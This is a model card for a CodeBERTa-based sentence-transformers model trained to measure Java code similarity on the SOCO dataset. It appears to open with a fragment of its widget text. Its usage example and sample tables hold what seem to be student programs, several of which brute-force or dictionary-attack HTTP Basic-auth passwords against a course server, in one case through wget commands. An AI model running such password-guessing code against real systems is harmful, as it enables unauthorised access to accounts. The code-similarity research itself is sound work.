\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\
\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found\
\ == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t\
}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\
\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\
\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\
\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn \"not\
\ found\";\n\t}\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr5e-05-split0.2")
# Run inference
sentences = [
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char pwdArray [] = {\n\t \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t \'W\', \'X\', \'Y\', \'Z\', \' \'\n };\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9549, 0.5951],
# [0.9549, 1.0000, 0.5695],
# [0.5951, 0.5695, 1.0000]])
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 34,368 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.94 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 466.25 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.71 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code>import java.util.*;<br>import java.io.*;<br><br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main(String args[]) {<br> DataInputStream newin;<br><br> try{<br><br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() != null){<br> System.out.println("Sending Mail");<br> ...</code> | <code>import java.util.*;<br>import java.io.*;<br>import javax.swing.text.html.*;<br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main (String args[]) {<br> DataInputStream newin;<br><br> try{<br> System.out.println("ishti");<br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private char [] password = {'A', 'A', 'A'};<br> private int noLetters = 3;<br><br> <br><br> public BruteForce() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e)...</code> |
| <code>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> boolean connected = false;<br> int counter;<br> String[] chars = {"a","b","c","d","e","f","g","h",<br> "i","j","k","l","m","n","o","p",<br> "q","r","s","t","u","v","w","x",<br> "y","z","A","B","C","D","E","F",<br> "G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V",<br> "W","X","Y","Z"};<br> Vector combinations = new Vector();<br> <br> BruteForce()<br> {<br> counter = 0;<br> this.genCombinations();<br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.combinations.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)combinations.elementAt(counter-1));<br> counter = combinations.size(...</code> | <code>import java.util.*;<br>import java.net.*;<br>import java.io.*; <br><br>public class Dictionary<br>{<br> boolean connected = false;<br> int counter;<br> <br> Vector words = new Vector();<br> <br> Dictionary()<br> {<br> counter = 0;<br> this.readWords(); <br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.words.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)words.elementAt(counter-1));<br> counter = words.size();<br> }<br> }<br> }<br> <br><br> public void readWords()<br> {<br> String line;<br><br> try<br> {<br> BufferedReader buffer = new BufferedReader(<br> new FileReader("/usr/share/lib/dict/words"));<br> <br> line = buffer.readLine();<br><br> while(line != null)<br> {<br><br> if(line.length() <= 3)<br> ...</code> | <code>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> public BruteForce(String u,String uname) throws Exception<br> {<br> String pass="";<br> try<br> {<br> String []chr={"a","b","c","d","e","f","g","h","i","j",<br> "k","l","m","n","o","p","q","r","s","t",<br> "u","v","w","x","y","z","A","B","C","D",<br> "E","F","G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V","W","X","Y","Z"};<br> URL url=new URL(u);<br> PasswordAuthentication pa;<br> MyAuthenticator =new MyAuthenticator();<br> HttpURLConnection h;<br> int c=0;<br> for(int i=1;i<=52;i++)<br> {<br> c++;<br> pass=""+chr[i-1];<br> pa=new PasswordAuthentication(uname,pass.toCharArray());<br> h.setPasswordAuthentication(pa);<br> Authenticator.setDefault();<br> h=(HttpURLConnection)url.openConnection();<br> h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));<br>System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");<br> if(h.getResponseCode() != 401)<br> throw...</code> |
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br><br>public class ReadFile<br>{<br> private StringTokenizer tokenizer;<br> private BufferedReader bf;<br> private String line;<br> private String first;<br> Vector in = new Vector();<br> <br> public void loadFile()throws NoSuchElementException, IOException<br> {<br> System.out.println("in loadFile");<br> try{<br> bf = new BufferedReader(new FileReader("words"));<br> }<br> catch(FileNotFoundException fe){}<br> catch(IOException io){}<br> while((line = bf.readLine())!=null)<br> {<br><br> int index = 0;<br> tokenizer = new StringTokenizer(line);<br> try<br> {<br> first = tokenizer.nextToken();<br> <br> <br> if (first.length() == 3)<br> {<br> in.add(first);<br> }<br> }<br> catch(NoSuchElementException n)<br> {<br> System.out.println("File Loaded Succesfully");<br><br> }<br><br> }<br> }<br> public Vector getVector()<br> {<br> return in;<br>...</code> | <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br>public class makePasswords<br>{<br> public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",<br> "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...</code> | <code>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.BufferedOutputStream;<br>import java.io.BufferedReader;<br>import java.io.FileInputStream;<br>import java.io.FileNotFoundException;<br>import java.io.FileOutputStream;<br>import java.io.FileReader;<br>import java.io.IOException;<br>import java.io.OutputStream;<br><br><br>public class WatchDog<br>{<br> protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);<br> protected int interval = 24;<br> protected String URL = "http://www.cs.rmit.edu./students/";<br> protected String fileName = "WatchDogContent.html";<br> protected String command = "./alert_mail.sh";<br> protected String savedContent;<br> protected String retrievedContent;<br><br> <br> public WatchDog()<br> {<br> super();<br> }<br><br> <br> public void run() throws Exception<br> {<br> HttpRequestClient client = null;<br> <br> <br> System.out.println(getClass().getName() +<br> "Retrieving baseline copy of: " + getURL());<br> client = new HttpRequestClie...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Evaluation Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 8,592 evaluation samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.22 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.66 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.05 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> |
